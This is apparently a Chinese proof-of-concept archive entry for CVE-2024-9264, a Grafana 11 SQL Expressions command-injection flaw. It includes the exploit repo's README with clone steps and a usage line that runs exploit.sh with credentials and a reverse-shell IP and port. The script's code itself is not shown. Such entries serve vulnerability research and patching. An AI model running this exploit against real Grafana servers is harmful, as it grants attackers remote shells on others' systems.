POC详情： 82a8ba52c3abfb452904444bba25f1ba4f483de0

来源
https://github.com/rvizx/CVE-2024-9264
关联漏洞
标题： Grafana 安全漏洞 (CVE-2024-9264)
描述：Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana存在安全漏洞，该漏洞源于SQL表达式实验性功能在处理用户输入的duckdb查询时，未能充分清理，导致命令注入和本地文件包含漏洞。
描述
Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit
介绍

# CVE-2024-9264
Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit

<br><br>
<div align="center">
  <img width="150" src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a1/Grafana_logo.svg/512px-Grafana_logo.svg.png?20230113183101" alt="logo"> <br><br>
  <p>CVE-2024-9264 - Grafana v11.0<br>
  <b>Authenticated Remote Code Execution (RCE)</b> <br>
  </p>

![PoC](https://www.zyenra.com/assets/img/grafana-rce.png)
  
</div>

---

### Introduction


CVE-2024-9264 is a critical remote-code-execution and local-file-inclusion flaw introduced in Grafana 11’s experimental “SQL Expressions” feature. The API passes user-supplied SQL straight to the DuckDB CLI without adequate sanitisation, so any authenticated account with Viewer or higher privileges can inject shell commands or read arbitrary files, provided the duckdb binary is in the server’s PATH.

---

### Usage

```bash
git clone https://github.com/rvizx/CVE-2024-9264
cd CVE-2024-9264
chmod +x exploit.sh

# usage
usage: ./exploit.sh <grafana_url> <username> <password> <reverse_ip> <reverse_port>
````

Example:

```bash
./exploit.sh http://grafana.example.com admin LMCOP4X2?29DX2%332! 10.10.10.10 1337
```
文件快照

 [4.0K]  /data/pocs/82a8ba52c3abfb452904444bba25f1ba4f483de0
├── [1.9K]  exploit.sh
└── [1.2K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。